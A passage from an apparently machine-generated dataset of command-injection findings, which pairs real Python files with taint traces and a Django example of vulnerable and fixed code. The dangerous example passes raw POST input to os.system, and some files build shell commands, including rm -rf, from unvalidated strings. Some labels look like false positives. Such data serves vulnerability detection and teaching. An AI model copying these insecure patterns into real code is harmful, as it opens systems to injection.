if strategy['method'] == 'hybrid':\n weights_strategy = HybridWeights(comparator,\n None,\n None,\n media_shape,\n fps,\n 0.0,\n batch_size)\n elif strategy['method'] == 'iou':\n weights_strategy = IoUWeights(media_shape, **strategy['args'])\n elif strategy['method'] == 'iou-motion':\n weights_strategy = IoUMotionWeights(media_shape, **strategy['args'])\n elif strategy['method'] == 'iou-global-motion':\n weights_strategy = IoUGlobalMotionWeights(media_shape, media_file, **strategy['args'])\n # Generate localization bgr based on grouped localizations\n for x in strategy['frame-diffs']:\n print(f\"Started {x}\", flush=True)\n detections, track_ids, pairs, weights, is_cut, constraints = join_tracklets(\n detections,\n track_ids,\n x,\n weights_strategy)\n\n if x in strategy['max-length']:\n trim_to = strategy['max-length'][x]\n print(f\"Trimming track to max length of {trim_to}\")\n detections, track_ids = trim_tracklets(detections, track_ids, trim_to)\n _,det_counts_per_track=np.unique(track_ids,return_counts=True)\n print(f\"frame-diff {x}: {len(detections)} to {len(det_counts_per_track)}\", flush=True)\n\n if x > 1 and strategy['extension']['method'] == 'linear-motion':\n ext_frames=x\n print(f\"Extending by linear motion, {ext_frames}\")\n tracklets = join_up_iteration(detections,track_ids)\n tracklets = extend_tracklets(tracklets, ext_frames)\n detections, track_ids = split_tracklets(tracklets)\n\n # Now we make new track objects based on the result\n # from the graph solver\n # [ detection, detection, detection, ...]\n # [ track#, track#, track#,...]\n # [ 133, 33, 13, 133,]\n # [ 0,0,1,1]\n # TODO: Handle is_cut?\n def join_up_final(detections, track_ids):\n tracklets = defaultdict(list)\n num_tracklets = np.max(track_ids) + 1\n assert(len(detections) == len(track_ids))\n for d,tid in zip(detections, track_ids):\n tracklets[tid].append(d)\n return tracklets\n\n def make_object(track):\n track.sort(key=lambda x:x['frame'])\n if classify_function:\n valid,attrs = classify_function(media.to_dict(),\n track,\n **classify_args)\n elif len(track) >= strategy['min-length']:\n valid = True\n attrs = {}\n else:\n valid = False\n attrs = {}\n if valid:\n obj={\"type\": args.tracklet_type_id,\n \"media_ids\": [int(media_id)],\n \"localization_ids\": [x['id'] for x in track],\n **attrs,\n \"version\": version_id}\n return obj\n else:\n return None\n\n tracklets = join_up_final(detections, track_ids)\n new_objs=[make_object(tracklet) for tracklet in tracklets.values()]\n new_objs=[x for x in new_objs if x is not None]\n print(f\"New objects = {len(new_objs)}\")\n with open(f\"/work/{media_id}.json\", \"w\") as f:\n json.dump(new_objs,f)\n if not args.dry_run:\n for response in tator.util.chunked_create(api.create_state_list,project,\n state_spec=new_objs):\n pass\n try:\n api.update_media(int(media_id), {\"attributes\":{\"Tracklet Generator Processed\": str(datetime.datetime.now())}})\n except:\n print(\"WARNING: Unable to set 'Tracklet Generator Processed' attribute\")", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 160, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 172, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 175, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "175"}}, {"lineNo": 176, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 176, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 177, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "177"}}, {"lineNo": 178, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "subprocess.run"}}]}}
{"id": "e21a48ccda7c764f31d10fbc03c646ceff90573d907d63295cc8cd4aa829253d", "license": {"spdx": ["MIT"], "repo": "nixli/hfta", "path": "examples/hfht/pointnet_classification.py", "repo_head_hexsha": "76274b5ee0e32732da20b153a3cc6550510d8a78", "stack_hexsha": "f8eb7ee679859acda30ad6ca74e666a2bc11c767", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 79, "entireCode": "import argparse\nimport logging\nimport numpy as np\nimport os\nimport pandas as pd\nimport random\nimport subprocess\nfrom pathlib import Path\n\nfrom hyperopt import hp\nfrom hyperopt.pyll.stochastic import sample\n\nfrom hfta.hfht import (tune_hyperparameters, attach_common_args,\n rearrange_algorithm_kwargs, handle_integers,\n generate_fusible_param_flags, generate_nonfusible_param)\nfrom hfta.workflow import extract_logging_level\nfrom hfta.hfht.utils import fuse_dicts\n\n\ndef main(args):\n random.seed(args.seed)\n np.random.seed(args.seed)\n rng_state = np.random.RandomState(seed=args.seed)\n\n fusibles = {\n 'lr': hp.uniform('lr', 0.0001, 0.01),\n 'beta1': hp.uniform('beta1', 0.001, 0.999),\n 'beta2': hp.uniform('beta2', 0.001, 0.999),\n 'weight_decay': hp.uniform('weight_decay', 0.0, 0.5),\n 'gamma': hp.uniform('gamma', 0.1, 0.9),\n 'step_size': hp.choice('step_size', (5, 10, 20, 40)),\n }\n nonfusibles = {\n 'batch_size': hp.choice('batch_size', (8, 16, 32)),\n 'feature_transform': hp.choice('feature_transform', (True, False)),\n }\n\n def _run(results_dir, epochs, iters_per_epoch, params, env_vars=None):\n # Build the cmd.\n cmd = [\n 'python',\n 'train_classification.py',\n '--epochs',\n str(epochs),\n '--iters-per-epoch',\n str(iters_per_epoch),\n '--dataset',\n args.dataset,\n '--dataset_type',\n args.dataset_type,\n '--num_points',\n str(args.num_points),\n '--device',\n args.device,\n '--eval',\n '--seed',\n str(args.seed),\n '--batch_size',\n str(generate_nonfusible_param(params, 'batch_size')),\n ]\n if results_dir is not None:\n cmd.extend(['--outf', results_dir])\n if generate_nonfusible_param(params, 'feature_transform'):\n cmd.append('--feature_transform')\n cmd.extend(\n generate_fusible_param_flags(\n params,\n ['lr', 'beta1', 'beta2', 'weight_decay', 'gamma', 'step_size'],\n ))\n if args.mode == 'hfta':\n cmd.append('--hfta')\n if args.amp:\n cmd.append('--amp')\n\n # Launch the training process.\n succeeded = True\n try:\n logging.info('--> Running cmd = {}'.format(cmd))\n subprocess.run(\n cmd,\n stdout=subprocess.DEVNULL if results_dir is None else open(\n os.path.join(results_dir, 'stdout.txt'),\n 'w',\n ),\n stderr=subprocess.DEVNULL if results_dir is None else open(\n os.path.join(results_dir, 'stderr.txt'),\n 'w',\n ),\n check=True,\n cwd=os.path.join(\n os.path.abspath(os.path.expanduser(os.path.dirname(__file__))),\n '../pointnet/'),\n env=env_vars,\n )\n except subprocess.CalledProcessError as e:\n logging.error(e)\n succeeded = False\n return succeeded\n\n def try_params(ids, epochs, params, env_vars=None):\n \"\"\" Running the training process for pointnet classification task.\n\n Args:\n ids: Either a single int ID (for serial), or a list of IDs (for HFTA).\n epochs: number of epochs to run.\n params: maps hyperparameter name to its value(s). For HFTA, the values are\n provided as a list.\n env_vars: optional, dict(str, str) that includes extra environment that\n needs to be forwarded to the subprocess call\n\n Returns:\n result(s): A single result dict for serial or a list of result dicts for\n HFTA in the same order as ids.\n early_stop(s): Whether the training process early stopped. A single bool\n for serial or a list of bools for HFTA in the same order as ids.\n \"\"\"\n epochs = int(round(epochs))\n ids_str = (','.join([str(i) for i in ids]) if isinstance(\n ids,\n (list, tuple),\n ) else str(ids))\n # Allocate result dir.\n results_dir = os.path.join(args.outdir, ids_str)\n Path(results_dir).mkdir(parents=True, exist_ok=True)\n # Run training.\n succeeded = _run(\n results_dir,\n epochs,\n args.iters_per_epoch,\n params,\n env_vars=env_vars,\n )\n if not succeeded:\n raise RuntimeError('_run failed!')\n # Gather the results.\n results_frame = pd.read_csv(os.path.join(results_dir, 'eval.csv'))\n if isinstance(ids, (list, tuple)):\n results = [{'acc': acc} for acc in results_frame['acc'].tolist()]\n assert len(results) == len(ids)\n return results, [False] * len(ids)\n else:\n return {'acc': results_frame['acc'][0]}, False\n\n def dry_run(\n B=None,\n nonfusibles_kvs=None,\n epochs=None,\n iters_per_epoch=None,\n env_vars=None,\n ):\n params = [{\n **handle_integers(sample(fusibles, rng=rng_state)),\n **nonfusibles_kvs\n } for _ in range(max(B, 1))]\n if B > 0:\n params = fuse_dicts(params)\n else:\n params = params[0]\n return _run(None, epochs, iters_per_epoch, params, env_vars=env_vars)\n\n tune_hyperparameters(\n space={\n **fusibles,\n **nonfusibles\n },\n try_params_callback=try_params,\n dry_run_callback=dry_run,\n mode=args.mode,\n algorithm=args.algorithm,\n nonfusibles=nonfusibles.keys(),\n dry_run_repeats=args.dry_run_repeats,\n dry_run_epochs=args.dry_run_epochs,\n dry_run_iters_per_epoch=args.dry_run_iters_per_epoch,\n metric='acc',\n goal='max',\n algorithm_configs={\n 'hyperband': args.hyperband_kwargs,\n 'random': args.random_kwargs,\n },\n seed=args.seed,\n outdir=args.outdir,\n )\n\n\ndef attach_args(parser=argparse.ArgumentParser()):\n parser.add_argument(\n '--workers',\n type=int,\n help='number of data loading workers',\n default=4,\n )\n parser.add_argument(\n '--iters-per-epoch',\n type=int,\n default=int(1e9),\n help='number of epochs to train for',\n )\n parser.add_argument('--dataset', type=str, required=True, help=\"dataset path\")\n parser.add_argument(\n '--dataset-type',\n type=str,\n default='shapenet',\n help=\"dataset type shapenet|modelnet40\",\n )\n parser.add_argument(\n '--num-points',\n type=int,\n default=2500,\n help='num of points for dataset',\n )\n parser.add_argument(\n '--device',\n type=str,\n default='cuda',\n choices=['cpu', 'cuda', 'xla'],\n help=\"the device where this test is running\",\n )\n parser.add_argument(\n '--amp',\n default=False,\n action='store_true',\n help='Enable AMP; only used when --device is cuda',\n )\n parser = attach_common_args(parser)\n return parser\n\n\nif __name__ == '__main__':\n args = attach_args().parse_args()\n rearrange_algorithm_kwargs(args)\n logging.basicConfig(level=extract_logging_level(args))\n args.outdir = os.path.abspath(os.path.expanduser(args.outdir))\n args.dataset = os.path.abspath(os.path.expanduser(args.dataset))\n main(args)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 79, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "subprocess.run"}}, {"lineNo": 81, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}]}}
{"id": "5f9291e5e30c8010b9df747a0a542fa2f6f2d19caf4360e1c9d33b7c74f4a23c", "license": {"spdx": ["BSD-3-Clause"], "repo": "gentnerlab/glab-common-py", "path": "glab_common/allsummary.py", "repo_head_hexsha": "9ff87ac6ca5f07c0d550594da38080bd3ee916db", "stack_hexsha": "0c18dab0a973e417315a5c146525d7d91b9da0fe", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 37, "entireCode": "from __future__ import print_function\nimport re\nimport datetime as dt\nfrom behav.loading import load_data_pandas\nimport warnings\nimport subprocess\nimport os\nimport sys\n\nprocess_fname = \"/home/bird/opdat/panel_subject_behavior\"\n\nbox_nums = []\nbird_nums = []\nprocesses = []\n\nwith open(process_fname, \"rt\") as psb_file:\n for line in psb_file.readlines():\n if line.startswith(\"#\") or not line.strip():\n pass # skip comment lines & blank lines\n else:\n spl_line = line.split()\n if spl_line[1] == \"1\": # box enabled\n box_nums.append(spl_line[0])\n bird_nums.append(int(spl_line[2]))\n processes.append(spl_line[4])\n\n\n# rsync magpis\nhostname = os.uname()[1]\nif \"magpi\" in hostname:\n for box_num in box_nums:\n box_hostname = box_num\n rsync_src = \"bird@{}:/home/bird/opdat/\".format(box_hostname)\n rsync_dst = \"/home/bird/opdat/\"\n print(\"Rsync src: {}\".format(rsync_src), file=sys.stderr)\n print(\"Rsync dest: {}\".format(rsync_dst), file=sys.stderr)\n rsync_output = subprocess.run([\"rsync\", \"-avz\", \"--exclude Generated_Songs/\", rsync_src, rsync_dst])\n\nsubjects = [\"B%d\" % (bird_num) for bird_num in bird_nums]\ndata_folder = \"/home/bird/opdat\"\n\nwith open(\"/home/bird/all.summary\", \"w\") as as_file:\n as_file.write(\n \"this all.summary generated at %s\\n\" % (dt.datetime.now().strftime(\"%x %X\"))\n )\n as_file.write(\n \"FeedErr(won't come up, won't go down, already up, resp during feed)\\n\"\n )\n\n # Now loop through each bird and grab the error info from each summaryDAT file\n for (box, bird, proc) in zip(box_nums, bird_nums, processes):\n try:\n # make sure box is a string\n box = str(box)\n if proc in (\"shape\", \"lights\", \"pylights\", \"lights.py\"):\n as_file.write(\"%s\\tB%d\\t %s\\n\" % (box, bird, proc))\n else:\n summaryfname = \"/home/bird/opdat/B%d/%d.summaryDAT\" % (bird, bird)\n with open(summaryfname, \"rt\") as sdat:\n sdata = sdat.read()\n\n m = re.search(r\"failures today: (\\w+)\", sdata)\n hopper_failures = m.group(1)\n m = re.search(r\"down failures today: (\\w+)\", sdata)\n godown_failures = m.group(1)\n m = re.search(r\"up failures today: (\\w+)\", sdata)\n goup_failures = m.group(1)\n m = re.search(r\"Responses during feed: (\\w+)\", sdata)\n resp_feed = m.group(1)\n\n subj = \"B%d\" % (bird)\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n behav_data = load_data_pandas([subj], data_folder)\n df = behav_data[subj]\n # df = df[~pd.isnull(data.index)]\n todays_data = df[\n (df.index.date - dt.datetime.today().date()) == dt.timedelta(days=0)\n ]\n feeder_ops = sum(todays_data[\"reward\"].values)\n trials_run = len(todays_data)\n noRs = sum(todays_data[\"response\"].values == \"none\")\n TOs = trials_run - feeder_ops - noRs\n last_trial_time = todays_data.sort_index().tail().index[-1]\n if last_trial_time.day != dt.datetime.now().day:\n datediff = \"(not today)\"\n else:\n minutes_ago = (dt.datetime.now() - last_trial_time).seconds / 60\n datediff = \"(%d mins ago)\" % (minutes_ago)\n\n outline = (\n \"%s\\tB%d\\t %s \\ttrls=%s \\tfeeds=%d \\tTOs=%d \\tnoRs=%d \\tFeedErrs=(%s,%s,%s,%s) \\tlast @ %s %s\\n\"\n % (\n box,\n bird,\n proc,\n trials_run,\n feeder_ops,\n TOs,\n noRs,\n hopper_failures,\n godown_failures,\n goup_failures,\n resp_feed,\n last_trial_time.strftime(\"%x %X\"),\n datediff,\n )\n )\n as_file.write(outline)\n except Exception as e:\n as_file.write(\n \"%s\\tB%d\\t Error opening SummaryDat or incorrect format\\n\" % (box, bird)\n )\n print(e)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 16, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "30"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 33, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 33, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 37, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "subprocess.run"}}]}}
{"id": "adcae2c38230895a27de9fe136b17e263b67174dcc81f5375c54b7da61d93fbc", "license": {"spdx": ["MIT"], "repo": "githeim/wh_tmpl", "path": ".tmpl/python_scripts/batch_cmd_py/batch_cmd.py", "repo_head_hexsha": "cb869cb241fbe4b66bb0ed5b08a4a4e2dad0ed89", "stack_hexsha": "ad3bbfaab9acdd38aa4c59baaeda66231af95942", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 78, "entireCode": "#!/usr/bin/python3\nimport subprocess\nimport os\nimport sys\nimport unittest\nimport enum\nimport datetime\n\ndef Get_Parent_Dir():\n return os.path.dirname(os.path.abspath(os.path.dirname(__file__)))\ndef Get_Current_Dir():\n return os.path.abspath(os.path.dirname(__file__))\n# :x: example\ndef Get_Working_Dir():\n return Get_Current_Dir()+\"/testdir\"\n\n\ndef JobList():\n return [\n # working directory # job_cmd\n\n [ Get_Current_Dir(), 'mkdir ./testdir' ],\n [ Get_Current_Dir(), 'touch ./testdir/fileA' ],\n [ Get_Current_Dir(), 'touch ./testdir/fileB' ],\n [ Get_Current_Dir(), 'touch ./testdir/fileC' ],\n\n [ Get_Working_Dir(), 'ls -l' ],\n\n [ Get_Working_Dir(), 'rm file*' ],\n\n [ Get_Current_Dir(), 'rm -rf testdir' ],\n\n\n # test cases/runners\n ]\n\nclass JobOffset():\n dir = 0 # directory\n job_cmd = 1 # job command\n\n\n\ndef DoJobList( JobList ):\n StepCnt = 0\n CurrentDir = os.getcwd()\n ret = True\n # The value For printing report\n strJobReport =\"Job Report\\n\"\n strJobLogReport = \"Log Report\\n\"\n\n for JobItem in JobList:\n work_dir = JobItem[JobOffset.dir]\n strJobCmd = JobItem[JobOffset.job_cmd]\n StepCnt = StepCnt+1\n\n strJobLogReport= strJobLogReport+\"\\n\"+\\\n \"============================================\\n\"+\\\n \"Step[\"+str(StepCnt)+\"] Work Dir [\"+work_dir+\"]\\n\"+\\\n \"job cmd [\"+str(strJobCmd)+\"]\\n\"+\\\n \"============================================\\n\"\n\n print(\"Job #\"+str(StepCnt))\n print(\"check Working Directory ; \"+work_dir)\n if os.path.isdir(work_dir) == False:\n print(\"No working directory [\"+work_dir+\"]\")\n strJobLogReport= strJobLogReport+\"No working directory [\"+work_dir+\"]\\n\"\n strJobSuccess = \"Fail\"\n ret = False\n else :\n # :x: Change working directory\n os.chdir(work_dir)\n print(\"execution job command ; \"+strJobCmd)\n print(\"processing\")\n # Get local systems environment variable\n # without this value, it can't get the environment values\n # ex) $PATH $HOME...\n local_env = os.environ.copy()\n output=subprocess.run(strJobCmd, shell=True, universal_newlines=True,\n env=local_env,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n print(\"processing Done\")\n\n strJobLogReport= strJobLogReport+output.stdout+\"\\n\"\n if ( output.returncode !=0 ):\n print(\"Job Error ; on [\"+str(work_dir)+\"]\");\n strJobSuccess = \"Fail\"\n ret = False\n else:\n print(\"Job Done ; [\"+str(work_dir)+\"]\");\n strJobSuccess = \"Success\"\n strJobReport= strJobReport +\\\n \"Step[%04d] ;[%7s],[%s],[%s]\\n\" %(StepCnt,strJobSuccess,work_dir,strJobCmd)\n # :x: back to original working directory\n os.chdir(CurrentDir)\n return (ret,strJobReport,strJobLogReport)\n\n\n\ndef main() :\n\n ret = DoJobList(JobList())\n\n bSuccess = ret[0]\n strJobReport = ret[1]\n strJobLogReport = ret[2]\n print(\"\\n\\n\\n==============\\n\"+strJobReport+\"\\n\")\n strJobLogFileName ='job_log_'+datetime.datetime.now().strftime('%m_%d_%H_%M_%S')+'.txt'\n\n f = open (\"./\"+strJobLogFileName,'w')\n f.write(strJobLogReport)\n f.close()\n\n print (\"Job log file ; \"+strJobLogFileName+\"\\n\")\n if (bSuccess != True):\n print(\"Job Error Check Report ; \"+strJobLogFileName)\n return -1\n print(\"All Job success\")\n\n return 0\n\n# Write Unit Test Here\n\nclass general_unit_test(unittest.TestCase):\n def setUp(self):\n print(\"setup\")\n\n def tearDown(self):\n print(\"teardown\")\n\n def test_vundle_install(self):\n self.assertTrue(True)\n\n\n\nif __name__ == '__main__':\n print (\"chk\")\n exit( main())\n", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 70, "eventType": "source", "messageKey": "synz.COMMON.branch.false.assumed", "params": {"arg0": "70"}}, {"lineNo": 78, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "0944a28b129bc053bbf7669c96893412fb7ecbf4417c4366f7b719fa24a44d45", "license": {"spdx": ["MIT"], "repo": "DZahar0v/DeployCheck", "path": "LoadContracts.py", "repo_head_hexsha": "009900657eb4c02927383e50c8afcc3e343b903f", "stack_hexsha": "eaf0021867e5f8655350350f668d136cce9a9e15", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 110, "entireCode": "import json\nimport requests\nimport os\nimport subprocess\nimport platform\n\nHTTP = requests.session()\n\n\nclass ClientException(Exception):\n message = 'unhandled error'\n def __init__(self, message=None):\n if message is not None:\n self.message = message\n\n\ndef getURL(address):\n url = \"https://api.etherscan.io/api\"\n url += \"?module=contract\"\n url += \"&action=getsourcecode\"\n url += \"&address=\" + address\n url += \"&apikey=\"\n return url\n\n\ndef connect(url):\n try:\n req = HTTP.get(url)\n except requests.exceptions.ConnectionError:\n raise ClientException\n\n if req.status_code == 200:\n # Check for empty response\n if req.text:\n data = req.json()\n status = data.get('status')\n if status == '1' or status == '0':\n return data\n else:\n raise ClientException\n raise ClientException\n\n\ndef getCode(jsonCode, fileName):\n code = jsonCode[0]['SourceCode']\n contractName = jsonCode[0]['ContractName']\n if (code == ''):\n print(fileName + ': not verified yet!')\n return code\n if (code.find('\"content\": \"') == -1):\n return code\n # removing unnecessary braces\n code = code[1:-1]\n code = code.replace(\"\\r\", \"\")\n code = code.replace(\"\\n\", \"\")\n\n # Etherscan API send bad JSON\n index = code.find('\"content\": \"')\n clearCode = ''\n while index != -1:\n clearCode += code[:index+12]\n code = code[index+12:]\n index2 = code.find('\" },')\n if (index2 == -1):\n index2 = code.find('\" }')\n tmpString = code[:index2]\n tmpString = tmpString.replace('\\\\\"', \"'\")\n clearCode += tmpString\n code = code[index2:]\n index = code.find('\"content\": \"')\n clearCode += code\n\n code = json.loads(clearCode)\n contractCode = ''\n for src in code['sources']:\n if (src.find(contractName) != -1):\n contractCode = code['sources'][src]['content']\n break\n return contractCode\n\n\nif __name__ == \"__main__\":\n with open(\"Config.json\") as jsonFile:\n jsonObject = json.load(jsonFile)\n jsonFile.close()\n \n dir = jsonObject['directory']\n addresses = jsonObject['addresses']\n\n isExist = os.path.exists(dir)\n if not isExist:\n os.makedirs(dir)\n\n for address in addresses:\n url = getURL(address[1])\n req = connect(url)\n code = getCode(req['result'], address[0])\n if (code == ''):\n continue\n file = open(dir + address[0] + '.sol', \"w+\")\n file.write(code)\n file.close()\n # File comparison\n print('Open: ' + address[0])\n etherscanCode = dir + address[0] + '.sol'\n githubCode = address[2]\n if (platform.system() == 'Windows'):\n subprocess.call(['C:\\\\Program Files (x86)\\\\Meld\\\\meld.exe', etherscanCode, githubCode])\n else:\n os.system('meld ' + etherscanCode + ' ' + githubCode)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 83, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 84, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 84, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 87, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "jsonObjectjsonObject[\"directory\"]"}}, {"lineNo": 87, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 88, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "jsonObjectjsonObject[\"addresses\"]"}}, {"lineNo": 94, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 94, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 94, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 105, "eventType": "source", "messageKey": 